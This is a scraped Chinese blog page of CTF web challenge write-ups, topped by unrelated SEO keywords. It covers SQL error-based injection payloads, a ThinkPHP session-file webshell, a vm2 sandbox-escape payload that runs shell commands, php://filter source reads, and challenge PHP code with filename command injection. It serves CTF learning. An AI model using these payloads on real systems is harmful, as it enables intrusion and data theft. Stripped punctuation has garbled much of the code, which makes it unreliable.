贺卡制作网站,网站信息化建设建议,wordpress新建用户,网站建设的公文格式[RootersCTF2019]babyWeb
预期解
一眼就是sql注入#xff0c;发现过滤了
UNION SLEEP OR - BENCHMARK盲注没法用了#xff0c;因为union被过滤#xff0c;堆叠注入也不考虑#xff0c;发现报错有回显#xff0c;尝试报错注入。
尝试#xff1a;
1||(updatex…[RootersCTF2019]babyWeb
预期解
一眼就是sql注入发现过滤了
UNION SLEEP OR - BENCHMARK盲注没法用了因为union被过滤堆叠注入也不考虑发现报错有回显尝试报错注入。
尝试
1||(updatexml(1,concat(0x7e,(select database())),0x7e))得到数据库继续注入得到列名表名。
1||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schemadatabase()))),1))表名users
1||(updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name0x7573657273)),1))
输出不全用limit一个一个来
1||(updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name0x7573657273 limit 4,1)),1))发现所需数据
1||(updatexml(1,concat(0x3a,(select uniqueid from sql_injection.users limit 1)),1))得到uniqueid直接输入即可得到flag。 非预期
用order by测试时发现uniqueid只有两列
union被过滤无法直接查询猜测利用正确的uniqueid登陆后即可得到flag既然我们本来就是要通过注入去得到flag那么我们也可以直接让其查询返回正确的uniqueid直接用万能payload。
1||11 limit 1
SELECT * FROM users WHERE uniqueid1||11 limit 1题目位置https://gitlab.com/0xCC00FFEE/RootersCTF2019-challenges
可以自己去本地复现然后看一下1||11 limit 1的原理。
[GYCTF2020]EasyThinking
发现有登陆注册搜索等功能 初步尝试后发现不是sql注入。 发现是ThinkPHP V6.0.0该版本存在漏洞。
ThinkPHP6 任意文件操作漏洞分析 (seebug.org)
修改session然后搜索数据。
搜索的数据会自动存到session文件里每一个PHPSESSID对应一个session文件可以控制PHPSESSID去修改session文件。
先登录生成session文件。 然后利用搜索存入一句话木马。 蚁剑连接。 然后利用插件提权运行readflag得到flag 得到flag。
本地主要是利用任意文件写入漏洞写入一句话木马一共有三个地方可能存在写入操作登陆时的usernamepassword以及搜索时的key经过测试登陆时的数据并不存入session文件中因此只能用搜索时的key本地复现后直接可以全局搜索文件内容即可发现session文件位置也可以去看代码分析。
利用%2F…%2F…%2F…%2F123456789012345678.php写入的结果。 经测试当PHPSESSID%2F…%2F…%2F…%2F123456789012345678.php无法成功登录然后去进行搜索因此没法同时直接控制文件的位置、名称、内容。 [HFCTF2020]JustEscape
vm沙箱逃逸发现有过滤。
[, ,for, while, process, exec, eval, constructor, prototype, Function]逃逸pochttps://github.com/patriksimek/vm2/issues/225
利用KaTeX parse error: Expected }, got EOF at end of input: {{prototyp}e}这种方式绕过过滤
(function(){TypeError[${${prototy}pe}][${${get_proces}s}] ff[${${constructo}r}](${${return this.proces}s})();try{Object.preventExtensions(Buffer.from()).a 1;}catch(e){return e[${${get_proce}ss}]((){}).mainModule[${${requir}e}](${${child_proces}s})[${${exe}cSync}](cat /f*).toString();}
})()[GXYCTF2019]StrongestMind
简简单单的计算直接套之前的脚本。
感觉有个师傅的脚本逻辑很不错用一下
import requests
import re
import timesession requests.session()url http://ea3579dc-520a-46ea-9f0e-6842ba17b19c.node4.buuoj.cn:81/index.php
req session.get(url).text
for i in range(1100):try:result re.findall(brbr(\d.)brbr,req)result .join(result)result eval(result)data {answer:result}print(time: str(i) result: str(result))req session.post(url,datadata).textif flag{ in req:print(re.search(flag{.*}, req).group(0)[:50])breaktime.sleep(0.1)except:print([-])[GKCTF 2021]easycms
后台密码为: admin/12345
任意文件下载
在主题导出处存在任意文件下载漏洞。 代码注入
发现在幻灯片处可以编辑php代码。 但需要我们上传一个文件/var/www/html/system/tmp/jdhp.txt
在上传素材处可以上传txt文件。
先上传一个txt文件。 看地址很明显可以去修改上传到的地址。
将其地址给改了。 即可编辑php代码在前台页面即可触发php代码。 后续
在尝试中我还发现了附件上传的后缀名。 发现写入php会被删除尝试了双写直接报错。 也尝试了phtml猜测他匹配删除之后会再进行一次判断所以没法绕过。
在编码模板的地方可以修改文件代码连接蚁剑。 上去把代码给down了下来后边再看看。
[N1CTF 2018]eating_cms
比较喜欢这种题学到了不少。
开局一个登录框尝试sql注入没成功扫一下发现有register.php。
注册后登录。 看了一会没啥功能但是发现了page参数随便改一下。 页面回显有点可疑。
读取flag没成功尝试了好久才发现了只能读取php文件。
伪协议读一下看一下代码。
user.php
?php
require_once(function.php);
if( !isset( $_SESSION[user] )){Header(Location: index.php);}
if($_SESSION[isadmin] 1){$oper_you_can_do $OPERATE_admin;
}else{$oper_you_can_do $OPERATE;
}
//die($_SESSION[isadmin]);
if($_SESSION[isadmin] 1){if(!isset($_GET[page]) || $_GET[page] ){$page info;}else {$page $_GET[page];}
}
else{if(!isset($_GET[page])|| $_GET[page] ){$page guest;}else {$page $_GET[page];if($page info){
// echo(scriptalert(no premission to visit info, only admin can, you are guest)/script);Header(Location: user.php?pageguest);}}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page info;
//}
include $page.php;
?在读取一下function.php
?php
session_start();
require_once config.php;
function Hacker()
{Header(Location: hacker.php);die();
}function filter_directory()
{$keywords [flag,manage,ffffllllaaaaggg];$uri parse_url($_SERVER[REQUEST_URI]);parse_str($uri[query], $query);
// var_dump($query);
// die();foreach($keywords as $token){foreach($query as $k $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords [flag,manage,ffffllllaaaaggg,info];$uri parse_url($_SERVER[REQUEST_URI]);parse_str($uri[query], $query);
// var_dump($query);
// die();foreach($keywords as $token){foreach($query as $k $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password;$whitelist 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),_*-;for ($i 0; $i strlen($string); $i) {if (strpos($whitelist, $string[$i]) false) {Hacker();}}if (preg_match(/$blacklist/is, $string)) {Hacker();}if (is_string($string)) {return $mysqli-real_escape_string($string);} else {return ;}
}function sql_query($sql_query)
{global $mysqli;$res $mysqli-query($sql_query);return $res;
}function login($user, $pass)
{$user Filter($user);$pass md5($pass);$sql select * from albert_users where username_which_you_do_not_know $user and password_which_you_do_not_know_too $pass;echo $sql;$res sql_query($sql);
// var_dump($res);
// die();if ($res-num_rows) {$data $res-fetch_array();$_SESSION[user] $data[username_which_you_do_not_know];$_SESSION[login] 1;$_SESSION[isadmin] $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql update albert_users set isadmin_which_you_do_not_know_too_too $level where username_which_you_do_not_know$user ;echo $sql;$res sql_query($sql);
// var_dump($res);
// die();
// die($res);if ($res 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user Filter($user);$pass md5($pass);$sql insert into albert_users(username_which_you_do_not_know,password_which_you_do_not_know_too,isadmin_which_you_do_not_know_too_too) VALUES ($user,$pass,0);$res sql_query($sql);return $mysqli-insert_id;
}function logout()
{session_destroy();Header(Location: index.php);
}?在user.php中有个方法filter_directory();跳进function.php。
是一个过滤url数据中不能有[“flag”,“manage”,“ffffllllaaaaggg”,“info”]。
function filter_directory_guest()
{$keywords [flag,manage,ffffllllaaaaggg,info];$uri parse_url($_SERVER[REQUEST_URI]);parse_str($uri[query], $query);
// var_dump($query);
// die();foreach($keywords as $token){foreach($query as $k $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}利用了parse_url将[“flag”,“manage”,“ffffllllaaaaggg”,“info”]给过滤了绕过后读取ffffllllaaaaggg.php
url///user.php?pagephp://filter/readconvert.base64-encode/resourceffffllllaaaagggffffllllaaaaggg.php
?php
if (FLAG_SIG ! 1){die(you can not visit it directly);
}else {echo you can find sth in m4aaannngggeee;
}
?它提示让我们去m4aaannngggeee。 发现一个文件上传尝试上传。
发现上传功能是依靠upllloadddd.php实现的再读取upllloadddd.php看一下。
?php
$allowtype array(gif,png,jpg);
$size 10000000;
$path ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/;
$filename $_FILES[file][name];
if(is_uploaded_file($_FILES[file][tmp_name])){if(!move_uploaded_file($_FILES[file][tmp_name],$path.$filename)){die(error:can not move);}
}else{die(error:not an upload file);
}
$newfile $path.$filename;
echo file upload successbr /;
echo $filename;
$picdata system(cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/.$filename. | base64 -w 0);
echo img srcdata:image/png;base64,.$picdata./img;
if($_FILES[file][error]0){unlink($newfile);die(Upload file error: );
}
$ext array_pop(explode(.,$_FILES[file][name]));
if(!in_array($ext,$allowtype)){unlink($newfile);
}
?一眼就看到了漏洞。 因为$filename可控可以直接命令执行但上边有一个上传和法检测 尝试后发现了/被过滤 所以不用/即可。
先ls找一下flag。 发现flag位置直接读取。